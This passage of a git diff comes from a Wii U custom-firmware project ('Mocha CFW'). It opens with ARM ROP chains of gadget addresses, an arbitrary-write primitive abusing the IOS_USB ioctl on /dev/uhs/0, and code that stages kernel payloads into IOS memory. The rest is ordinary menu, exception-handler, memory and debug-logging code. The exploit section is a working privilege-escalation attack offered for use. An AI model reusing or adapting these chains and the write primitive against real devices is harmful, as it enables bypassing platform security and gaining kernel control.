MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +int Menu_Main(void) +{ + //!---------INIT--------- + InitOSFunctionPointers(); + InitSysFunctionPointers(); + InitFSFunctionPointers(); + InitVPadFunctionPointers(); + + VPADInit(); + int forceMenu = 0; + + { + VPADData vpad; + int vpadError = -1; + VPADRead(0, &vpad, 1, &vpadError); + + if(vpadError == 0) + { + forceMenu = (vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_B; + } + } + + mount_sd_fat("sd"); + + cfw_config_t config; + default_config(&config); + read_config(&config); + + int launch = 1; + + if(forceMenu || config.directLaunch == 0) + { + launch = ShowMenu(&config); + } + + if(!launch) + { + unmount_sd_fat("sd"); + return 0; + } + + int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); + if(iosuhaxFd < 0) + { + //! execute exploit + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); + if(dev_uhs_0_handle < 0) + { + unmount_sd_fat("sd"); + return 0; + } + + uhs_exploit_init(dev_uhs_0_handle, &config); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + } + else + { + //! do not run patches again as that will most likely crash + //! because the wupserver and the iosuhax dev node are still running + //! just relaunch IOS with new configuration + IOS_Close(iosuhaxFd); + } + + unmount_sd_fat("sd"); + OSForceFullRelaunch(); + SYSLaunchMenu(); + return EXIT_RELAUNCH_ON_LOAD; +} + +//!------Variables used in exploit------ +static int *pretend_root_hub = (int*)0xF5003ABC; +static int *ayylmao = (int*)0xF4500000; +//!------------------------------------- + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config) +{ + ayylmao[5] = 1; + ayylmao[8] = 0x500000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); + + payload_info_t *payloads = (payload_info_t*)0xF4148000; + + payloads->size = sizeof(cfw_config_t); + memcpy(payloads->data, config, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_usb_bin); + memcpy(payloads->data, ios_usb_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->redNAND) + { + payloads->size = sizeof(ios_fs_bin); + memcpy(payloads->data, ios_fs_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->seeprom_red) + { + payloads->size = sizeof(ios_bsp_bin); + memcpy(payloads->data, ios_bsp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + payloads->size = sizeof(ios_mcp_bin); + memcpy(payloads->data, ios_mcp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->launchImage) + { + FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb"); + if(pFile) + { + fseek(pFile, 0, SEEK_END); + payloads->size = ftell(pFile); + fseek(pFile, 0, SEEK_SET); + fread(payloads->data, 1, payloads->size, pFile); + fclose(pFile); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + else + { + payloads->size = launch_image_tga_size; + memcpy(payloads->data, launch_image_tga, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + pretend_root_hub[33] = 0x500000; + pretend_root_hub[78] = 0; + + DCStoreRange(pretend_root_hub + 33, 200); + DCStoreRange((void*)0xF4120000, sizeof(second_chain)); + DCStoreRange((void*)0xF4130000, sizeof(final_chain)); + DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); + DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000); +} + +static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) +{ + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..0ee1b7b --- /dev/null +++ b/src/main.h @@ -0,0 +1,20 @@ +//Main.h +#ifndef _MAIN_H_ +#define _MAIN_H_ + +#include "common/types.h" +#include "dynamic_libs/os_functions.h" + +/* Main */ +#ifdef __cplusplus +extern "C" { +#endif + +//! C wrapper for our C++ functions +int Menu_Main(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/menu.c b/src/menu.c new file mode 100644 index 0000000..927cfd9 --- /dev/null +++ b/src/menu.c @@ -0,0 +1,240 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/fs_functions.h" +#include "dynamic_libs/gx2_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "dynamic_libs/vpad_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "cfw_config.h" + +#define MAX_CONFIG_SETTINGS 7 + +#define TEXT_SEL(x, text1, text2) ((x) ? (text1) : (text2)) + +struct { + const char *option; + const char *enabled; + const char *disabled; +} selection_options[] = +{ + { "Config view mode", "expert", "default" }, + { "Skip this menu on launch", "on", "off" }, + { "Show launch image", "on", "off" }, + { "redNAND", "on", "off" }, + { "SEEPROM redirection", "on", "off" }, + { "OTP redirection", "on", "off" }, + { "Use syshax.xml (coldboothax)", "on", "off" }, +}; + +static void console_print_pos(int x, int y, const char *format, ...) +{ + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + if(strlen(tmp) > 79) + tmp[79] = 0; + + OSScreenPutFontEx(0, x, y, tmp); + OSScreenPutFontEx(1, x, y, tmp); + + } + va_end(va); + + if(tmp) + free(tmp); +} + +int ShowMenu(cfw_config_t * currentConfig) +{ + // Init screen and screen buffers + OSScreenInit(); + u32 screen_buf0_size = OSScreenGetBufferSizeEx(0); + u32 screen_buf1_size = OSScreenGetBufferSizeEx(1); + u8 * screenBuffer = (u8*) memalign(0x100, screen_buf0_size + screen_buf1_size); + OSScreenSetBufferEx(0, (void *)screenBuffer); + OSScreenSetBufferEx(1, (void *)(screenBuffer + screen_buf0_size)); + + OSScreenEnableEx(0, 1); + OSScreenEnableEx(1, 1); + + // Clear screens + OSScreenClearBufferEx(0, 0); + OSScreenClearBufferEx(1, 0); + + // Flip buffers + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); + + VPADData vpad; + int vpadError; + int x_offset = -2; + int initScreen = 1; + int selected = 0; + int launch = 0; + cfw_config_t config; + memcpy(&config, currentConfig, sizeof(cfw_config_t)); + + int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; + + while(1) + { + //! update only at 50 Hz, thats more than enough + vpadError = -1; + VPADRead(0, &vpad, 1, &vpadError); + + if(vpadError == 0) + { + if(vpad.btns_d & VPAD_BUTTON_HOME) + { + break; + } + else if(vpad.btns_d & VPAD_BUTTON_A) + { + launch = 1; + break; + } + else if(vpad.btns_d & VPAD_BUTTON_DOWN) + { + selected++; + if(selected >= max_config_item) + selected = 0; + + initScreen = 1; + } + else if(vpad.btns_d & VPAD_BUTTON_UP) + { + selected--; + if(selected < 0) + selected = max_config_item - 1; + + initScreen = 1; + } + else if(vpad.btns_d & (VPAD_BUTTON_LEFT | VPAD_BUTTON_RIGHT)) + { + switch(selected) + { + case 0: + config.viewMode = !config.viewMode; + max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; + break; + case 1: + config.directLaunch = !config.directLaunch; + break; + case 2: + config.launchImage = !config.launchImage; + break; + case 3: + config.redNAND = !config.redNAND; + break; + case 4: + config.seeprom_red = !config.seeprom_red; + break; + case 5: + config.otp_red = !config.otp_red; + break; + case 6: + config.syshaxXml = !config.syshaxXml; + break; + default: + break; + } + + if(!config.viewMode) + { + config.syshaxXml = 0; + + if(config.redNAND) + { + config.seeprom_red = 1; + config.otp_red = 1; + } + } + if(config.redNAND == 0) + { + config.seeprom_red = 0; + config.otp_red = 0; + } + + initScreen = 1; + } + } + + if(initScreen) + { + OSScreenClearBufferEx(0, 0); + OSScreenClearBufferEx(1, 0); + + console_print_pos(x_offset, 1, " -- MOCHA CFW %s by Dimok --", APP_VERSION); + + console_print_pos(x_offset, 3, "Select your options and press A to launch."); + console_print_pos(x_offset, 4, "Press HOME to exit back to HBL."); + console_print_pos(x_offset, 5, "Hold B on start to force enter this menu"); + + int y_offset = 7; + int option_count = sizeof(selection_options) / sizeof(selection_options[0]); + int idx; + int * configPtr = &config.viewMode; + + for(idx = 0; idx < option_count && idx < max_config_item; idx++) + { + console_print_pos(x_offset, y_offset++, "%s %-29s : %s%s%s %s%s%s", TEXT_SEL((selected == idx), "--->", " "), selection_options[idx].option, + TEXT_SEL(configPtr[idx], "<", " "), selection_options[idx].enabled, TEXT_SEL(configPtr[idx], ">", " "), + TEXT_SEL(configPtr[idx], " ", "<"), selection_options[idx].disabled, TEXT_SEL(configPtr[idx], " ", ">")); + } + + console_print_pos(x_offset, 16, "Credits go to everyone who contributed to Wii U scene publicly."); + console_print_pos(x_offset, 17, "Special thanks to smealum, plutoo, yellows8, naehrwert and derrek."); + + // Flip buffers + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); + + initScreen = 0; + } + + usleep(20000); + } + + OSScreenShutdown(); + free(screenBuffer); + + if(memcmp(currentConfig, &config, sizeof(cfw_config_t)) != 0) + { + memcpy(currentConfig, &config, sizeof(cfw_config_t)); + write_config(currentConfig); + } + + return launch; +} diff --git a/src/menu.h b/src/menu.h new file mode 100644 index 0000000..9e76131 --- /dev/null +++ b/src/menu.h @@ -0,0 +1,8 @@ +#ifndef _MENU_H_ +#define _MENU_H_ + +#include "cfw_config.h" + +int ShowMenu(cfw_config_t * config); + +#endif diff --git a/src/system/exception_handler.c b/src/system/exception_handler.c new file mode 100644 index 0000000..53ef0b3 --- /dev/null +++ b/src/system/exception_handler.c @@ -0,0 +1,172 @@ +#include +#include "dynamic_libs/os_functions.h" +#include "utils/logger.h" +#include "exception_handler.h" + +#define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4 + +#define OS_EXCEPTION_DSI 2 +#define OS_EXCEPTION_ISI 3 +#define OS_EXCEPTION_PROGRAM 6 + +/* Exceptions */ +typedef struct OSContext +{ + /* OSContext identifier */ + uint32_t tag1; + uint32_t tag2; + + /* GPRs */ + uint32_t gpr[32]; + + /* Special registers */ + uint32_t cr; + uint32_t lr; + uint32_t ctr; + uint32_t xer; + + /* Initial PC and MSR */ + uint32_t srr0; + uint32_t srr1; + + /* Only valid during DSI exception */ + uint32_t exception_specific0; + uint32_t exception_specific1; + + /* There is actually a lot more here but we don't need the rest*/ +} OSContext; + +#define CPU_STACK_TRACE_DEPTH 10 +#define __stringify(rn) #rn + +#define mfspr(_rn) \ +({ register uint32_t _rval = 0; \ + asm volatile("mfspr %0," __stringify(_rn) \ + : "=r" (_rval));\ + _rval; \ +}) + +typedef struct _framerec { + struct _framerec *up; + void *lr; +} frame_rec, *frame_rec_t; + +static const char *exception_names[] = { + "DSI", + "ISI", + "PROGRAM" +}; + +static const char exception_print_formats[18][45] = { + "Exception type %s occurred!\n", // 0 + "GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1 + "GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2 + "GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3 + "GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4 + "GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5 + "GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6 + "GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7 + "GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8 + "LR %08X SRR0 %08x SRR1 %08x\n", // 9 + "DAR %08X DSISR %08X\n", // 10 + "\nSTACK DUMP:", // 11 + " --> ", // 12 + " -->\n", // 13 + "\n", // 14 + "%p", // 15 + "\nCODE DUMP:\n", // 16 + "%p: %08X %08X %08X %08X\n", // 17 +}; + +static unsigned char exception_cb(void * c, unsigned char exception_type) { + char buf[850]; + int pos = 0; + + OSContext *context = (OSContext *) c; + /* + * This part is mostly from libogc. Thanks to the devs over there. + */ + pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]); + pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]); + pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]); + pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]); + pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]); + pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]); + pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]); + pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]); + pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]); + pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1); + + //if(exception_type == OS_EXCEPTION_DSI) { + pos += sprintf(buf + pos, exception_print_formats[10], context->exception_specific1, context->exception_specific0); // this freezes + //} + + void *pc = (void*)context->srr0; + void *lr = (void*)context->lr; + void *r1 = (void*)context->gpr[1]; + register uint32_t i = 0; + register frame_rec_t l,p = (frame_rec_t)lr; + + l = p; + p = r1; + if(!p) + asm volatile("mr %0,%%r1" : "=r"(p)); + + pos += sprintf(buf + pos, exception_print_formats[11]); + + for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) { + if(i % 4) + pos += sprintf(buf + pos, exception_print_formats[12]); + else { + if(i > 0) + pos += sprintf(buf + pos, exception_print_formats[13]); + else + pos += sprintf(buf + pos, exception_print_formats[14]); + } + + switch(i) { + case 0: + if(pc) + pos += sprintf(buf + pos, exception_print_formats[15],pc); + break; + case 1: + if(!l) + l = (frame_rec_t)mfspr(8); + pos += sprintf(buf + pos, exception_print_formats[15],(void*)l); + break; + default: + pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr)); + break; + } + } + + //if(exception_type == OS_EXCEPTION_DSI) { + uint32_t *pAdd = (uint32_t*)context->srr0; + pos += sprintf(buf + pos, exception_print_formats[16]); + // TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen + for (i = 0; i < 8; i += 4) + pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]); + //} + #if DEBUG_LOGGER == 1 + log_print(buf); + #endif + + OSFatal(buf); + return 1; +} + +static unsigned char dsi_exception_cb(void * context) { + return exception_cb(context, 0); +} +static unsigned char isi_exception_cb(void * context) { + return exception_cb(context, 1); +} +static unsigned char program_exception_cb(void * context) { + return exception_cb(context, 2); +} + +void setup_os_exceptions(void) { + OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb); +} diff --git a/src/system/exception_handler.h b/src/system/exception_handler.h new file mode 100644 index 0000000..7626f92 --- /dev/null +++ b/src/system/exception_handler.h @@ -0,0 +1,14 @@ +#ifndef __EXCEPTION_HANDLER_H_ +#define __EXCEPTION_HANDLER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +void setup_os_exceptions(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/system/memory.c b/src/system/memory.c new file mode 100644 index 0000000..91f5392 --- /dev/null +++ b/src/system/memory.c @@ -0,0 +1,198 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "common/common.h" +#include "memory.h" + +#define MEMORY_ARENA_1 0 +#define MEMORY_ARENA_2 1 +#define MEMORY_ARENA_3 2 +#define MEMORY_ARENA_4 3 +#define MEMORY_ARENA_5 4 +#define MEMORY_ARENA_6 5 +#define MEMORY_ARENA_7 6 +#define MEMORY_ARENA_8 7 +#define MEMORY_ARENA_FG_BUCKET 8 + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Memory functions +//! This is the only place where those are needed so lets keep them more or less private +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern unsigned int * pMEMAllocFromDefaultHeapEx; +extern unsigned int * pMEMAllocFromDefaultHeap; +extern unsigned int * pMEMFreeToDefaultHeap; + +extern int (* MEMGetBaseHeapHandle)(int mem_arena); +extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); +extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); +extern void (* MEMFreeToFrmHeap)(int heap, int mode); +extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); +extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); +extern void *(* MEMDestroyExpHeap)(int heap); +extern void (* MEMFreeToExpHeap)(int heap, void* ptr); + +static int mem1_heap = -1; +static int bucket_heap = -1; + +void memoryInitialize(void) +{ + int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); + unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); + void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); + if(mem1_memory) + mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + + int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); + unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); + void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); + if(bucket_memory) + bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); +} + +void memoryRelease(void) +{ + MEMDestroyExpHeap(mem1_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); + mem1_heap = -1; + + MEMDestroyExpHeap(bucket_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); + bucket_heap = -1; +} + +//!------------------------------------------------------------------------------------------- +//! wraps +//!------------------------------------------------------------------------------------------- +void *__wrap_malloc(size_t size) +{ + // pointer to a function resolve + return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); +} + +void *__wrap_memalign(size_t align, size_t size) +{ + if (align < 4) + align = 4; + + // pointer to a function resolve + return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); +} + +void __wrap_free(void *p) +{ + // pointer to a function resolve + if(p != 0) + ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); +} + +void *__wrap_calloc(size_t n, size_t size) +{ + void *p = __wrap_malloc(n * size); + if (p != 0) { + memset(p, 0, n * size); + } + return p; +} + +size_t __wrap_malloc_usable_size(void *p) +{ + //! TODO: this is totally wrong and needs to be addressed + return 0x7FFFFFFF; +} + +void *__wrap_realloc(void *p, size_t size) +{ + void *new_ptr = __wrap_malloc(size); + if (new_ptr != 0) + { + memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); + __wrap_free(p); + } + return new_ptr; +} + +//!------------------------------------------------------------------------------------------- +//! reent versions +//!------------------------------------------------------------------------------------------- +void *__wrap__malloc_r(struct _reent *r, size_t size) +{ + return __wrap_malloc(size); +} + +void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) +{ + return __wrap_calloc(n, size); +} + +void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) +{ + return __wrap_memalign(align, size); +} + +void __wrap__free_r(struct _reent *r, void *p) +{ + __wrap_free(p); +} + +size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) +{ + return __wrap_malloc_usable_size(p); +} + +void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) +{ + return __wrap_realloc(p, size); +} + +//!------------------------------------------------------------------------------------------- +//! some wrappers +//!------------------------------------------------------------------------------------------- +void * MEM2_alloc(unsigned int size, unsigned int align) +{ + return __wrap_memalign(align, size); +} + +void MEM2_free(void *ptr) +{ + __wrap_free(ptr); +} + +void * MEM1_alloc(unsigned int size, unsigned int align) +{ + if (align < 4) + align = 4; + return MEMAllocFromExpHeapEx(mem1_heap, size, align); +} + +void MEM1_free(void *ptr) +{ + MEMFreeToExpHeap(mem1_heap, ptr); +} + +void * MEMBucket_alloc(unsigned int size, unsigned int align) +{ + if (align < 4) + align = 4; + return MEMAllocFromExpHeapEx(bucket_heap, size, align); +} + +void MEMBucket_free(void *ptr) +{ + MEMFreeToExpHeap(bucket_heap, ptr); +} diff --git a/src/system/memory.h b/src/system/memory.h new file mode 100644 index 0000000..59764d0 --- /dev/null +++ b/src/system/memory.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __MEMORY_H_ +#define __MEMORY_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +void memoryInitialize(void); +void memoryRelease(void); + +void * MEM2_alloc(unsigned int size, unsigned int align); +void MEM2_free(void *ptr); + +void * MEM1_alloc(unsigned int size, unsigned int align); +void MEM1_free(void *ptr); + +void * MEMBucket_alloc(unsigned int size, unsigned int align); +void MEMBucket_free(void *ptr); + +#ifdef __cplusplus +} +#endif + +#endif // __MEMORY_H_ diff --git a/src/utils/logger.c b/src/utils/logger.c new file mode 100644 index 0000000..f4795b4 --- /dev/null +++ b/src/utils/logger.c @@ -0,0 +1,89 @@ +#include +#include +#include +#include +#include +#include "common/common.h" +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "logger.h" + +#ifdef DEBUG_LOGGER +static int log_socket = -1; +static volatile int log_lock = 0; + + +void log_init(const char * ipString) +{ + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0) + return; + + struct sockaddr_in connect_addr; + memset(&connect_addr, 0, sizeof(connect_addr)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + inet_aton(ipString, &connect_addr.sin_addr); + + if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) + { + socketclose(log_socket); + log_socket = -1; + } +} + +void log_deinit(void) +{ + if(log_socket >= 0) + { + socketclose(log_socket); + log_socket = -1; + } +} + +void log_print(const char *str) +{ + // socket is always 0 initially as it is in the BSS + if(log_socket < 0) { + return; + } + + while(log_lock) + usleep(1000); + log_lock = 1; + + int len = strlen(str); + int ret; + while (len > 0) { + int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet + ret = send(log_socket, str, block, 0); + if(ret < 0) + break; + + len -= ret; + str += ret; + } + + log_lock = 0; +} + +void log_printf(const char *format, ...) +{ + if(log_socket < 0) { + return; + } + + char * tmp = NULL; + + va_list va; + va_start(va, format); + 